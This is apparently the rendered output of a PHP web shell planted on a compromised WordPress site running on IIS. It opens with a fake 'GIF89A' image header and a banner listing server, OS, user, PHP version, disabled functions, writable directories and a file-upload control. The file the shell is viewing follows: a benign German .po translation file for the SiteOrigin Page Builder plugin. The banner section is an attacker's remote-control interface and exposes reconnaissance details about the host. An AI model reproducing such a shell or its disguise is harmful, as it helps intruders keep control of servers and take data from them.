GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/siteorigin-panels/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/siteorigin-panels/lang/siteorigin-panels-de_DE.po
msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.7.5\n"
"Project-Id-Version: Page Builder\n"
"Language: de\n"
"POT-Creation-Date: \n"
"PO-Revision-Date: \n"
"Last-Translator: \n"
"Language-Team: \n"

#: siteorigin-panels.php:919
msgid "Read More"
msgstr "weiterlesen"

#: inc/admin-actions.php:80
msgid "No description"
msgstr "Keine Beschreibung"

#. A prebuilt layout is essentially a complete visual layout that was pre created.
#: inc/admin-actions.php:89
msgid "Your theme doesn't have any prebuilt layouts."
msgstr "Ihr Theme hat keine vorgefertigten Layouts."

#: inc/admin-actions.php:90
msgid "You can still clone existing pages though."
msgstr "Sie können aber trotzdem vorhandene Seiten kopieren."

#: inc/admin-actions.php:123
msgid "Clone"
msgstr "Kopieren"

#: inc/admin-actions.php:141
msgid "There are no %s with Page Builder content to clone."
msgstr "Es gibt keine %s mit Page Builder Content zu kopieren."

#: inc/default-styles.php:57
msgid "Row Class"
msgstr "Zeilen Klasse"

#. A CSS class is something to describe an HTML element.
#: inc/default-styles.php:60 inc/default-styles.php:165
msgid "A CSS class"
msgstr "Eine CSS Klasse"

#: inc/default-styles.php:65
msgid "Cell Class"
msgstr "Zellen Klasse"

#: inc/default-styles.php:68
msgid "Class added to all cells in this row."
msgstr "Klasse zu einer Zelle in dieser Zeile hinzugefügt."

#: inc/default-styles.php:73 inc/default-styles.php:170
msgid "CSS Styles"
msgstr "CSS Styles"

#: inc/default-styles.php:76 inc/default-styles.php:173
msgid "CSS Styles, given as one per row."
msgstr "CSS Styles, jeweils einer je Zeile."

#. The amount of spacing below a row. This comes from the concept of a text margin.
#: inc/default-styles.php:83
msgid "Bottom Margin"
msgstr "Unterer Rand"

#: inc/default-styles.php:86
msgid "Space below the row."
msgstr "Abstand unter der Zeile."

#. This term comes from typography. It's essentially the spacing between 2 columns.
#.
#. http://en.wikipedia.org/wiki/Column_%28typography%29
#: inc/default-styles.php:91
msgid "Gutter"
msgstr "Spaltensatz"

#: inc/default-styles.php:94
msgid "Amount of space between columns."
msgstr "Abstand zwischen den Spalten."

#. This is essentially the amount of padding, or amount of space around a widget or row.
#: inc/default-styles.php:99 inc/default-styles.php:178
msgid "Padding"
msgstr "Padding"

#: inc/default-styles.php:102
msgid "Padding around the entire row."
msgstr "Innenabstand um die gesamte Zeile."

#: inc/default-styles.php:107
msgid "Row Layout"
msgstr "Zeilen Layout"

#: inc/default-styles.php:111
msgid "Standard"
msgstr "Standard"

#: inc/default-styles.php:112
msgid "Full Width"
msgstr "Gesamte Breite"

#. This means the row is displayed the full width of the page and the content is also stretched.
#: inc/default-styles.php:113
msgid "Full Width Stretched"
msgstr "Gesamte Breite gestreckt"

#: inc/default-styles.php:121 inc/default-styles.php:188
msgid "Background Color"
msgstr "Hintergrundfarbe"

#: inc/default-styles.php:124
msgid "Background color of the row."
msgstr "Hintergrundfarbe der Zeile."

#: inc/default-styles.php:129 inc/default-styles.php:196
msgid "Background Image"
msgstr "Hintergrundbild"

#: inc/default-styles.php:132
msgid "Background image of the row."
msgstr "Hintergrundbild der Zeile."

#: inc/default-styles.php:137 inc/default-styles.php:204
msgid "Background Image Display"
msgstr "Hintergrundbild Display"

#: inc/default-styles.php:141 inc/default-styles.php:208
msgid "Tiled Image"
msgstr "Gekacheltes Bild"

#: inc/default-styles.php:142 inc/default-styles.php:209
msgid "Cover"
msgstr "Ausfüllen"

#: inc/default-styles.php:143 inc/default-styles.php:210
msgid "Centered, with original size"
msgstr "Zentriert, in Originalgröße"

#: inc/default-styles.php:145 inc/default-styles.php:212
msgid "How the background image is displayed."
msgstr "Wie das Hintergrundbild dargestellt wird."

#: inc/default-styles.php:150 inc/default-styles.php:217
msgid "Border Color"
msgstr "Rahmenfarbe"

#: inc/default-styles.php:153
msgid "Border color of the row."
msgstr "Rahmenfarbe der Zeile."

#: inc/default-styles.php:162
msgid "Widget Class"
msgstr "Widget Klasse"

#: inc/default-styles.php:181
msgid "Padding around the entire widget."
msgstr "Innenabstand um das gesamte Widget."

#: inc/default-styles.php:191
msgid "Background color of the widget."
msgstr "Hintergrundfarbe des Widgets."

#: inc/default-styles.php:199
msgid "Background image of the widget."
msgstr "Hintergrundbild des Widgets."

#: inc/default-styles.php:220
msgid "Border color of the widget."
msgstr "Rahmenfarbe des Widgets."

#: inc/default-styles.php:225
msgid "Font Color"
msgstr "Schriftfarbe"

#: inc/default-styles.php:228
msgid "Color of text inside this widget."
msgstr "Farbe von Text innerhalb diese Widgets."

#: inc/plugin-activation.php:7 inc/plugin-activation.php:8
msgid "Install Page Builder Plugin"
msgstr "Page Builder Plugin installieren"

#: inc/plugin-activation.php:74
msgid "Installing %s"
msgstr "Installiere %s"

#: inc/revisions.php:50
msgid "Page Builder Content"
msgstr "Page Builder Content"

#: inc/styles.php:16
msgid "Row Styles"
msgstr "Zeilen Styles"

#: inc/styles.php:20
msgid "Widget Styles"
msgstr "Widget Styles"

#: inc/styles.php:42
msgid "Attributes"
msgstr "Attribute"

#: inc/styles.php:46 settings/settings.php:225
msgid "Layout"
msgstr "Layout"

#: inc/styles.php:50
msgid "Design"
msgstr "Design"

#: inc/styles.php:60
msgid "Theme"
msgstr "Theme"

#: inc/styles.php:179
msgid "Select Image"
msgstr "Bild auswählen"

#: inc/styles.php:183
msgid "Remove"
msgstr "Entfernen"

#: inc/styles.php:197 settings/settings.php:313
msgid "Enabled"
msgstr "Aktiviert"

#: inc/widgets-bundle.php:7
msgid "SiteOrigin Button"
msgstr "SiteOrigin Button"

#: inc/widgets-bundle.php:8 widgets/widgets/button/button.php:8
msgid "A simple button"
msgstr "Ein einfacher Button"

#: inc/widgets-bundle.php:11 inc/widgets-bundle.php:23
#: inc/widgets-bundle.php:35 inc/widgets-bundle.php:47
#: inc/widgets-bundle.php:59 inc/widgets.php:126
msgid "SiteOrigin Widgets Bundle"
msgstr "SiteOrigin Widgets Bundle"

#: inc/widgets-bundle.php:19
msgid "SiteOrigin Image"
msgstr "SiteOrigin Bild"

#: inc/widgets-bundle.php:20
msgid "Choose images from your media library."
msgstr "Wählen Sie Bilder aus Ihrer Medienbibliothek"

#: inc/widgets-bundle.php:31
msgid "SiteOrigin Slider"
msgstr "SiteOrigin Slider"

#: inc/widgets-bundle.php:32
msgid "A basic slider widget."
msgstr "Ein einfaches Slider Widget."

#: inc/widgets-bundle.php:43
msgid "SiteOrigin Features"
msgstr "SiteOrigin Features"

#: inc/widgets-bundle.php:44
msgid "Display site features as a collection of icons."
msgstr "Stellen Sie Seiten-Features als eine Sammlung von Icons dar."

#: inc/widgets-bundle.php:55
msgid "SiteOrigin Post Carousel"
msgstr "SiteOrigin Post Karussell"

#: inc/widgets-bundle.php:56
msgid "Display your posts as a carousel."
msgstr "Stellen Sie Ihre Beiträge als Karussell dar."

#: inc/widgets.php:17
msgid "Visual Editor"
msgstr "Visueller Editor"

#: inc/widgets.php:18
msgid "Arbitrary text or HTML with visual editor"
msgstr "Frei wählbarer Text oder HTML im visuellen Editor"

#: inc/widgets.php:21
msgid "Black Studio TinyMCE"
msgstr "Black Studio TinyMCE"

#: inc/widgets.php:102
msgid "Widgets Bundle"
msgstr "Widget-Paket"

#: inc/widgets.php:132
msgid "Page Builder Widgets"
msgstr "Page Builder Widgets"

#: inc/widgets.php:148
msgid "WordPress Widgets"
msgstr "WordPress Widgets"

#: inc/widgets.php:158
msgid "WooCommerce"
msgstr "WooCommerce"

#: inc/widgets.php:169
msgid "Jetpack"
msgstr "Jetpack"

#: inc/widgets.php:180
msgid "BBPress"
msgstr "BBPress"

#: inc/widgets.php:188 settings/settings.php:218
msgid "Recommended Widgets"
msgstr "Empfohlene Widgets"

#: settings/settings.php:146 settings/tpl/settings.php:9 tpl/options.php:5
msgid "SiteOrigin Page Builder"
msgstr "SiteOrigin Page Builder"

#: settings/settings.php:146 siteorigin-panels.php:108
#: siteorigin-panels.php:467 tpl/js-templates.php:160
msgid "Page Builder"
msgstr "Page Builder"

#: settings/settings.php:170
msgid "Page Builder Settings"
msgstr "Page Builder Einstellungen"

#: settings/settings.php:186 tpl/options.php:11
msgid "General"
msgstr "Allgemein"

#: settings/settings.php:192 tpl/options.php:15
msgid "Post Types"
msgstr "Post-Typen"

#: settings/settings.php:194
msgid "The post types to use Page Builder on."
msgstr "Die Post-Typen mit denen Pagebuilder verwendet wird."

#: settings/settings.php:200
msgid "Widgets"
msgstr "Widgets"

#: settings/settings.php:206
msgid "Widget Title HTML"
msgstr "Widget-Titel HTML"

#. Something I forgot to mention is that for this string "{{title}}" shouldn't be translated. The rest of the string can be, but that one part needs to remain as is.
#: settings/settings.php:207
msgid "The HTML used for widget titles. {{title}} is replaced with the widget title."
msgstr "HTML, welches für die Widget-Titel verwendet wird. {{title}} wird mit dem Widget-Titel ersetzt."

#: settings/settings.php:212
msgid "Legacy Bundled Widgets"
msgstr "Veraltetes Widgets-Paket"

#: settings/settings.php:213
msgid "Load legacy widgets from Page Builder 1."
msgstr "Lädt die veralteten Widgets aus Page Builder 1."

#: settings/settings.php:219
msgid "Display recommend widgets in Page Builder add widget dialog."
msgstr "Empfohlene Widgets im Page Builder \"Widget hinzufügen\" Dialog anzeigen."

#: settings/settings.php:233 tpl/options.php:57
msgid "Responsive Layout"
msgstr "Responsives Layout"

#: settings/settings.php:234
msgid "Collapse widgets, rows and columns on mobile devices."
msgstr "Widgets, Zeilen und Spalten auf mobilen Geräten einklappen."

#: settings/settings.php:240 tpl/options.php:64
msgid "Mobile Width"
msgstr "Mobile Breite"

#: settings/settings.php:241
msgid "Device width, in pixels, to collapse into a mobile view ."
msgstr "Breite des Geräts in Pixel, bei der auf die mobile Ansicht umgeschaltet werden soll."

#: settings/settings.php:247 tpl/options.php:70
msgid "Row Bottom Margin"
msgstr "Zeile unterer Außenabstand"

#: settings/settings.php:248
msgid "Default margin below rows."
msgstr "Standard Außenabstand unter Zeilen."

#. This term comes from typography. It's essentially the spacing between 2 columns.
#.
#. http://en.wikipedia.org/wiki/Column_%28typography%29
#: settings/settings.php:254
msgid "Row Gutter"
msgstr "Zeilen-Spaltensatz"

#: settings/settings.php:255
msgid "Default spacing between columns in each row."
msgstr "Standard Abstand zwischen den Spalten jeder Zeile."

#. In this context, the container is an HTML container or wrapper.
#: settings/settings.php:261
msgid "Full Width Container"
msgstr "Gesamtbreiten-Container"

#: settings/settings.php:262
msgid "The container used for the full width layout."
msgstr "Container, der für das Layout mit gesamter Breite verwendet werden soll."

#: settings/settings.php:269
msgid "Content"
msgstr "Inhalt"

#: settings/settings.php:275 tpl/options.php:25
msgid "Copy Content"
msgstr "Inhalt kopieren"

#: settings/settings.php:276
msgid "Copy content from Page Builder to post content."
msgstr "Inhalte von Page Builder zu Post-Inhalt kopieren."

#: settings/tpl/settings.php:12
msgid "Search Settings"
msgstr "Sucheinstellungen"

#: settings/tpl/settings.php:29
msgid "Settings Saved"
msgstr "Einstellungen gespeichert"

#: settings/tpl/settings.php:78 tpl/options.php:93
msgid "Save Settings"
msgstr "Einstellungen speichern"

#: siteorigin-panels.php:73
msgid "Custom Home Page Builder"
msgstr "Benutzerdefinierter Homepage Builder"

#: siteorigin-panels.php:74 siteorigin-panels.php:140
msgid "Home Page"
msgstr "Homepage"

#: siteorigin-panels.php:263
msgid "All Widgets"
msgstr "Alle Widgets"

#: siteorigin-panels.php:274
msgid "Missing Widget"
msgstr "Fehlendes Widget"

#: siteorigin-panels.php:275
msgid "Page Builder doesn't know about this widget."
msgstr "Page Builder weiß nichts über dieses Widget."

#: siteorigin-panels.php:279
msgid "%d seconds"
msgstr "%d Sekunden"

#: siteorigin-panels.php:281
msgid "%d minutes"
msgstr "%d Minuten"

#: siteorigin-panels.php:283
msgid "%d hours"
msgstr "%d Stunden"

#: siteorigin-panels.php:286
msgid "%d second"
msgstr "%d Sekunde"

#: siteorigin-panels.php:288
msgid "%d minute"
msgstr "%d Minute"

#: siteorigin-panels.php:290
msgid "%d hour"
msgstr "%d Stunde"

#: siteorigin-panels.php:293
msgid "%s before"
msgstr "%s vorher"

#: siteorigin-panels.php:294
msgid "Now"
msgstr "Jetzt"

#: siteorigin-panels.php:298
msgid "Current"
msgstr "Aktuell"

#: siteorigin-panels.php:299
msgid "Original"
msgstr "Original"

#: siteorigin-panels.php:300
msgid "Version restored"
msgstr "Wiederhergestellte Version"

#: siteorigin-panels.php:304
msgid "Widget deleted"
msgstr "Widget gelöscht"

#: siteorigin-panels.php:306
msgid "Widget added"
msgstr "Widget hinzugegügt"

#: siteorigin-panels.php:308
msgid "Widget edited"
msgstr "Widget bearbeitet"

#: siteorigin-panels.php:310
msgid "Widget duplicated"
msgstr "Widget dupliziert"

#: siteorigin-panels.php:312
msgid "Widget moved"
msgstr "Widget verschoben"

#: siteorigin-panels.php:316
msgid "Row deleted"
msgstr "Zeile gelöscht"

#: siteorigin-panels.php:318
msgid "Row added"
msgstr "Zeile hinzugefügt"

#: siteorigin-panels.php:320
msgid "Row edited"
msgstr "Zeile bearbeitet"

#: siteorigin-panels.php:322
msgid "Row moved"
msgstr "Zeile verschoben"

#: siteorigin-panels.php:324
msgid "Row duplicated"
msgstr "Zeile dupliziert"

#: siteorigin-panels.php:327
msgid "Cell resized"
msgstr "Größe der Zelle verändert"

#: siteorigin-panels.php:330
msgid "Prebuilt layout loaded"
msgstr "Vorgefertigtes Layout geladen"

#: siteorigin-panels.php:334
msgid "Are you sure you want to overwrite your current content? This can be undone in the builder history."
msgstr "Sind Sie sicher, dass Sie Ihren aktuellen Inhalt überschreiben möchten? Kann im Builder-Verlauf rückgängig gemacht werden."

#: siteorigin-panels.php:335
msgid "Loading prebuilt layout"
msgstr "Vorgefertigtes Layout laden"

#: siteorigin-panels.php:336
msgid "Would you like to copy this editor's existing content to Page Builder?"
msgstr "Wollen Sie den vorhandenen Inhalt dieses Editors zu Page Builder kopieren?"

#: siteorigin-panels.php:337
msgid "Would you like to clear your Page Builder content and revert to using the standard visual editor?"
msgstr "Wollen Sie Ihren Page Builder Inhalt verwerfen und zum visuellen Standard-Editor zurückkehren?"

#: siteorigin-panels.php:339
msgid "Layout Builder Widget"
msgstr "Layout Builder Widget"

#: siteorigin-panels.php:341 tpl/js-templates.php:85
msgid "Are you sure?"
msgstr "Sind Sie sicher?"

#: siteorigin-panels.php:348
msgid "Page Builder layouts"
msgstr "Page Builder Layouts"

#: siteorigin-panels.php:349
msgid "Error uploading or importing file."
msgstr "Fehler beim Upload oder Import der Datei."

#: siteorigin-panels.php:395
msgid "Untitled Widget"
msgstr "Titelloses Widget"

#: siteorigin-panels.php:1140
msgid "Edit Home Page"
msgstr "Homepage editieren"

#: siteorigin-panels.php:1237
msgid "Save and reload this page to start using the widget after you've installed it."
msgstr "Speichern und laden Sie diese Seite erneut, um das Widget nach der Installation zu verwenden."

#: siteorigin-panels.php:1321
msgid "Support Forum"
msgstr "Support-Forum"

#: siteorigin-panels.php:1322
msgid "Newsletter"
msgstr "Newsletter"

#: tpl/admin-home-page.php:9
msgid "On"
msgstr "An"

#: tpl/admin-home-page.php:9
msgid "Off"
msgstr "Aus"

#: tpl/admin-home-page.php:13
msgid "Custom Home Page"
msgstr "Benutzerdefinierte Homepage"

#: tpl/admin-home-page.php:45
msgid "Save Home Page"
msgstr "Homepage speichern"

#: tpl/admin-home-page.php:49
msgid "This interface requires Javascript"
msgstr "Dieses Interface benötigt Javascript"

#: tpl/help.php:2
msgid "You can use SiteOrigin Page Builder to create home and sub pages, filled your own widgets."
msgstr "Sie können den SiteOrigin Page Builder verwenden, um Homepages und Unterseiten zu erstellen und mit Ihren eigenen Widgets zu füllen."

#: tpl/help.php:3
msgid "The page layouts are responsive and fully customizable."
msgstr "Die Seitenlayouts sind responsiv und voll anpassbar."

#: tpl/js-templates.php:12
msgid "Add Widget"
msgstr "Widget hinzufügen"

#: tpl/js-templates.php:17
msgid "Add Row"
msgstr "Zeile hinzufügen"

#: tpl/js-templates.php:22
msgid "Prebuilt"
msgstr "Vorgefertigt"

#: tpl/js-templates.php:29
msgid "History"
msgstr "Verlauf"

#: tpl/js-templates.php:34
msgid "Live Editor"
msgstr "Live Editor"

#: tpl/js-templates.php:39
msgid "Switch to Editor"
msgstr "Umschalten auf Editor"

#: tpl/js-templates.php:83 tpl/js-templates.php:256
msgid "Edit Row"
msgstr "Zeile bearbeiten"

#: tpl/js-templates.php:84
msgid "Duplicate Row"
msgstr "Zeile duplizieren"

#: tpl/js-templates.php:85
msgid "Delete Row"
msgstr "Zeile löschen"

#: tpl/js-templates.php:113
msgid "Edit"
msgstr "Bearbeiten"

#: tpl/js-templates.php:114 tpl/js-templates.php:231 tpl/js-templates.php:322
msgid "Duplicate"
msgstr "Duplizieren"

#: tpl/js-templates.php:115 tpl/js-templates.php:230 tpl/js-templates.php:321
msgid "Delete"
msgstr "Löschen"

#: tpl/js-templates.php:169 tpl/js-templates.php:234
msgid "Done"
msgstr "Fertig"

#: tpl/js-templates.php:183
msgid "Add New Widget %s"
msgstr "Neues Widget %s hinzufügen"

#: tpl/js-templates.php:187
msgid "Search Widgets"
msgstr "Widgets durchsuchen"

#: tpl/js-templates.php:199
msgid "Close"
msgstr "Schließen"

#: tpl/js-templates.php:254
msgid "Add New Row"
msgstr "Neue Zeile hinzufügen"

#: tpl/js-templates.php:290
msgid "Left to Right"
msgstr "Links nach rechts"

#: tpl/js-templates.php:291
msgid "Right to Left"
msgstr "Rechts nach links"

#: tpl/js-templates.php:308
msgid "Set"
msgstr "Einstellen"

#: tpl/js-templates.php:327
msgid "Insert"
msgstr "Einfügen"

#: tpl/js-templates.php:329
msgid "Save"
msgstr "Speichern"

#: tpl/js-templates.php:347
msgid "Prebuilt Layouts"
msgstr "Vorgefertigte Layouts"

#: tpl/js-templates.php:351
msgid "Search"
msgstr "Suchen"

#: tpl/js-templates.php:354
msgid "Theme Defined"
msgstr "Bestimmtes Theme"

#: tpl/js-templates.php:355
msgid "Import/Export"
msgstr "Import/Export"

#: tpl/js-templates.php:361
msgid "Clone: %s"
msgstr "Kopiere: %s"

#: tpl/js-templates.php:382
msgid "Drop import file here"
msgstr "Ziehen Sie eine Datei zum Importieren hierher"

#: tpl/js-templates.php:383
msgid "Or"
msgstr "Oder"

#: tpl/js-templates.php:386
msgid "Select Import File"
msgstr "Wählen Sie eine Datei zum Import aus"

#: tpl/js-templates.php:398
msgid "Download Layout"
msgstr "Layout herunterladen"

#: tpl/js-templates.php:419
msgid "Page Builder Change History"
msgstr "Page Builder Änderungsverlauf"

#: tpl/js-templates.php:433
msgid "Restore Version"
msgstr "Version wiederherstellen"

#: tpl/js-templates.php:458
msgid "Close Live Editor"
msgstr "Live Editor schließen"

#: tpl/options.php:26
msgid "Copy content from Page Builder into the standard content editor."
msgstr "Inhalt vom Page Builder in den Standard-Editor kopieren."

#: tpl/options.php:32
msgid "Animations"
msgstr "Animationen"

#: tpl/options.php:33
msgid "Disable animations for improved performance."
msgstr "Deaktivieren Sie Animationen für eine bessere Leistung."

#: tpl/options.php:39
msgid "Bundled Widgets"
msgstr "Widgets-Paket"

#: tpl/options.php:40
msgid "Include the bundled widgets."
msgstr "Paket-Widgets mit einschließen."

#: tpl/options.php:48
msgid "Display"
msgstr "Anzeigen"

#: tpl/options.php:58
msgid "Should the layout collapse for mobile devices."
msgstr "Soll das Layout auf mobilen Geräten einklappen."

#: tpl/options.php:76
msgid "Cell Side Margins"
msgstr "Zellen-Seitenränder"

#: tpl/options.php:82
msgid "Inline CSS"
msgstr "Inline CSS"

#: widgets/basic.php:13
msgid "Layout Builder"
msgstr "Layout Builder"

#: widgets/basic.php:53
msgid "Open Builder"
msgstr "Builder öffnen"

#: widgets/basic.php:82
msgid "Post Content"
msgstr "Beitragsinhalt"

#: widgets/basic.php:84
#, fuzzy
msgid "Displays content from the current post."
msgstr "Zeigt den Inhalt des aktuellen Beitrags an."

#: widgets/basic.php:130 widgets/basic.php:427 widgets/widgets.php:589
#: widgets/widgets.php:764
msgid "None"
msgstr "Nichts"

#: widgets/basic.php:131 widgets/basic.php:355
#: widgets/widgets/call-to-action/call-to-action.php:15
#: widgets/widgets/list/list.php:15 widgets/widgets/price-box/price-box.php:15
msgid "Title"
msgstr "Titel"

#: widgets/basic.php:132
msgid "Featured Image"
msgstr "Featured Bild"

#: widgets/basic.php:137
msgid "Display Content"
msgstr "Inhalt anzeigen"

#: widgets/basic.php:157
msgid "Post Loop"
msgstr "Post Loop"

#: widgets/basic.php:159
msgid "Displays a post loop."
msgstr "Zeigt einen Post Loop an."

#: widgets/basic.php:349
msgid "Your theme doesn't have any post loops."
msgstr "Ihr Theme hat keine Post Loops."

#: widgets/basic.php:359
msgid "Template"
msgstr "Template"

#: widgets/basic.php:375
msgid "More Link "
msgstr "Weiterlesen Link "

#: widgets/basic.php:377
msgid "If the template supports it, cut posts and display the more link."
msgstr "Wenn vom Template unterstützt, wird der Post abgeschnittem und ein Weiterlesen-Link angezeigt."

#: widgets/basic.php:411 widgets/widgets.php:575
msgid "Post Type"
msgstr "Post-Typ"

#: widgets/basic.php:420 widgets/widgets.php:582
msgid "Posts Per Page"
msgstr "Posts pro Seite"

#: widgets/basic.php:425 widgets/widgets.php:587
msgid "Order By"
msgstr "Anordnen nach"

#: widgets/basic.php:428 widgets/widgets.php:590
msgid "Post ID"
msgstr "Post ID"

#: widgets/basic.php:429 widgets/widgets.php:591
msgid "Author"
msgstr "Autor"

#: widgets/basic.php:430 widgets/basic.php:431 widgets/widgets.php:592
#: widgets/widgets.php:593 widgets/widgets/testimonial/testimonial.php:15
msgid "Name"
msgstr "Name"

#: widgets/basic.php:432 widgets/widgets.php:594
msgid "Date"
msgstr "Datum"

#: widgets/basic.php:433 widgets/widgets.php:595
msgid "Modified"
msgstr "Geändert"

#: widgets/basic.php:434 widgets/widgets.php:596
msgid "Parent"
msgstr "Ursprung"

#: widgets/basic.php:435 widgets/widgets.php:597
msgid "Random"
msgstr "Zufall"

#: widgets/basic.php:436 widgets/widgets.php:598
msgid "Comment Count"
msgstr "Anzahl der Kommentare"

#: widgets/basic.php:437 widgets/basic.php:438 widgets/widgets.php:599
msgid "Menu Order"
msgstr "Menu Reihenfolge"

#: widgets/basic.php:439
msgid "Post In Order"
msgstr "Post in Reihenfolge"

#: widgets/basic.php:444 widgets/widgets.php:605
msgid "Order"
msgstr "Reihenfolge"

#: widgets/basic.php:446 widgets/widgets.php:608
msgid "Descending"
msgstr "Absteigend"

#: widgets/basic.php:447 widgets/widgets.php:607
msgid "Ascending"
msgstr "Ansteigend"

#: widgets/basic.php:452 widgets/widgets.php:614
msgid "Sticky Posts"
msgstr "Sticky Posts"

#: widgets/basic.php:454 widgets/widgets.php:616 widgets/widgets.php:738
msgid "Default"
msgstr "Standard"

#: widgets/basic.php:455 widgets/widgets.php:617
msgid "Ignore Sticky"
msgstr "Sticky ignorieren"

#: widgets/basic.php:456 widgets/widgets.php:618
msgid "Exclude Sticky"
msgstr "Sticky ausschließen"

#: widgets/basic.php:457 widgets/widgets.php:619
msgid "Only Sticky"
msgstr "Nur Sticky"

#: widgets/basic.php:462
msgid "Additional "
msgstr "Zusätzlich "

#: widgets/widgets.php:204
msgid "Style"
msgstr "Style"

#: widgets/widgets.php:228
msgid "%s Style"
msgstr "%s Style"

#: widgets/widgets.php:625
msgid "Additional Arguments"
msgstr "Zusätzliche Argumente"

#: widgets/widgets.php:686
msgid "Gallery (PB)"
msgstr "Galerie (PB)"

#: widgets/widgets.php:688
msgid "Displays a gallery."
msgstr "Zeigt eine Galerie an."

#: widgets/widgets.php:727
msgid "Gallery Images"
msgstr "Galeriebilder"

#: widgets/widgets.php:728
msgid "edit gallery"
msgstr "Galerie bearbeiten"

#: widgets/widgets.php:732
msgid "Comma separated attachment IDs. Defaults to all current page's attachments."
msgstr "Komma getrennte Anhangs-IDs. Standard für alle aktuellen Seiten-Anhänge."

#: widgets/widgets.php:736
msgid "Image Size"
msgstr "Bildgröße"

#: widgets/widgets.php:739
msgid "Large"
msgstr "Groß"

#: widgets/widgets.php:740
msgid "Medium"
msgstr "Medium"

#: widgets/widgets.php:741
msgid "Thumbnail"
msgstr "Vorschaubild"

#: widgets/widgets.php:742
msgid "Full"
msgstr "Voll"

#: widgets/widgets.php:750
msgid "Gallery Type"
msgstr "Galerie-Typ"

#: widgets/widgets.php:755
msgid "Columns"
msgstr "Spalten"

#: widgets/widgets.php:760
msgid "Link To"
msgstr "Link zu"

#: widgets/widgets.php:762
msgid "Attachment Page"
msgstr "Anhang Seite"

#: widgets/widgets.php:763
msgid "File"
msgstr "Datei"

#: widgets/widgets.php:781
msgid "Image (PB)"
msgstr "Bild (PB)"

#: widgets/widgets.php:783
msgid "Displays a simple image."
msgstr "Zeigt ein einfaches Bild an."

#: widgets/widgets.php:816
#: widgets/widgets/animated-image/animated-image.php:15
msgid "Image URL"
msgstr "Bild URL"

#: widgets/widgets.php:820 widgets/widgets/button/button.php:19
msgid "Destination URL"
msgstr "Ziel URL"

#: widgets/widgets.php:834
msgid "Embedded Video (PB)"
msgstr "Eingebettetes Video (PB)"

#: widgets/widgets.php:836
msgid "Embeds a video."
msgstr "Bindet ein Video ein."

#: widgets/widgets.php:874
msgid "Video"
msgstr "Video"

#: widgets/widgets.php:890
msgid "Self Hosted Video (PB)"
msgstr "Selbst gehostetes Video (PB)"

#: widgets/widgets.php:892
msgid "A self hosted video player."
msgstr "Ein selbst gehosteter Video-Player."

#: widgets/widgets.php:934
msgid "Video URL"
msgstr "Video URL"

#: widgets/widgets.php:938
msgid "Poster URL"
msgstr "Vorschaubild URL"

#: widgets/widgets.php:940
msgid "An image that displays before the video starts playing."
msgstr "Ein Bild, das angezeigt wird, bevor das Video abgespielt wird."

#: widgets/widgets.php:945
msgid "Auto Play Video"
msgstr "Video automatisch abspielen"

#: widgets/widgets/animated-image/animated-image.php:6
msgid "Animated Image (PB)"
msgstr "Animiertes Bild (PB)"

#: widgets/widgets/animated-image/animated-image.php:8
msgid "An image that animates in when it enters the screen."
msgstr "Ein Bild, das animiert wird, sobald es auf dem Bildschirm erscheint."

#: widgets/widgets/animated-image/animated-image.php:19
msgid "Animation"
msgstr "Animation"

#: widgets/widgets/animated-image/animated-image.php:21
msgid "Fade In"
msgstr "Einblenden"

#: widgets/widgets/animated-image/animated-image.php:22
msgid "Slide Up"
msgstr "Nach oben schieben"

#: widgets/widgets/animated-image/animated-image.php:23
msgid "Slide Down"
msgstr "Nach unten schieben"

#: widgets/widgets/animated-image/animated-image.php:24
msgid "Slide Left"
msgstr "Nach links schieben"

#: widgets/widgets/animated-image/animated-image.php:25
msgid "Slide Right"
msgstr "Nach rechts schieben"

#: widgets/widgets/button/button.php:6
msgid "Button (PB)"
msgstr "Button (PB)"

#: widgets/widgets/button/button.php:15 widgets/widgets/list/list.php:19
#: widgets/widgets/testimonial/testimonial.php:27
msgid "Text"
msgstr "Text"

#: widgets/widgets/button/button.php:23
#: widgets/widgets/call-to-action/call-to-action.php:31
#: widgets/widgets/price-box/price-box.php:44
#: widgets/widgets/testimonial/testimonial.php:36
msgid "Open In New Window"
msgstr "In neuem Fenster öffnen"

#: widgets/widgets/button/button.php:27
msgid "Button Alignment"
msgstr "Button Ausrichtung"

#: widgets/widgets/button/button.php:29
msgid "Left"
msgstr "Links"

#: widgets/widgets/button/button.php:30
msgid "Right"
msgstr "Rechts"

#: widgets/widgets/button/button.php:31
msgid "Center"
msgstr "Zentriert"

#: widgets/widgets/button/button.php:32
msgid "Justify"
msgstr "Im Block angeordnet"

#: widgets/widgets/call-to-action/call-to-action.php:6
msgid "Call To Action (PB)"
msgstr "Call To Action (PB)"

#: widgets/widgets/call-to-action/call-to-action.php:8
msgid "A Call to Action block"
msgstr "Ein Call to Action Block"

#: widgets/widgets/call-to-action/call-to-action.php:19
msgid "Sub Title"
msgstr "Untertitel"

#: widgets/widgets/call-to-action/call-to-action.php:23
#: widgets/widgets/price-box/price-box.php:36
msgid "Button Text"
msgstr "Buttontext"

#: widgets/widgets/call-to-action/call-to-action.php:27
#: widgets/widgets/price-box/price-box.php:40
msgid "Button URL"
msgstr "Button URL"

#: widgets/widgets/call-to-action/call-to-action.php:37
#: widgets/widgets/price-box/price-box.php:49
msgid "Button"
msgstr "Button"

#: widgets/widgets/list/list.php:6
msgid "List (PB)"
msgstr "Liste (PB)"

#: widgets/widgets/list/list.php:8 widgets/widgets/price-box/price-box.php:8
msgid "Displays a bullet list of elements"
msgstr "Zeigt eine Aufzählung von Elementen an"

#: widgets/widgets/list/list.php:20 widgets/widgets/price-box/price-box.php:32
msgid "Start each new point with an asterisk (*)"
msgstr "Beginnen Sie jeden neuen Punkt mit einem Sternchen (*)"

#: widgets/widgets/price-box/price-box.php:6
msgid "Price Box (PB)"
msgstr "Preistafel (PB)"

#: widgets/widgets/price-box/price-box.php:19
msgid "Price"
msgstr "Preis"

#: widgets/widgets/price-box/price-box.php:23
msgid "Per"
msgstr "Pro"

